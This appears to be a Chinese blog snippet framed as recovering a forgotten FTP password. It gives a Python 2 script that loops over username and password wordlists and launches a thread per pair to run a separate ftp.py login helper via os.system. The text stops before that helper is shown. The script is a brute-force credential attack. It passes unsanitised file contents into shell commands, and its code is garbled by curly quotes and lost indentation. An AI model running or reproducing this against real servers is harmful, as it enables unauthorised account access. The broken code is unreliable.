忘记ftp密码使用pythonftplib库暴力破解密码的方法示例

class mythread(threading.Thread):
def __init__(self,command):
threading.Thread.__init__(self)
self.command=command
def run(self):
kk=os.system(self.command)
ushand=open(“user.txt”,”r”)
pshand=open(“passwd.txt”,”r”)
listuser=[]
listpass=[]
for us in open(“user.txt”,”r”):
lineus=ushand.readline().strip(‘\n')
listuser.append(lineus)
for ps in open(“passwd.txt”,”r”):
lineps=pshand.readline().strip(‘\n')
listpass.append(lineps)
for i in listuser:
for j in listpass:
command=”ftp.py %s %s” %(i,j)
print command
my_thread=mythread(command)
my_thread.start()
time.sleep(0.1)

相应的ftp.py文件里面的代码如下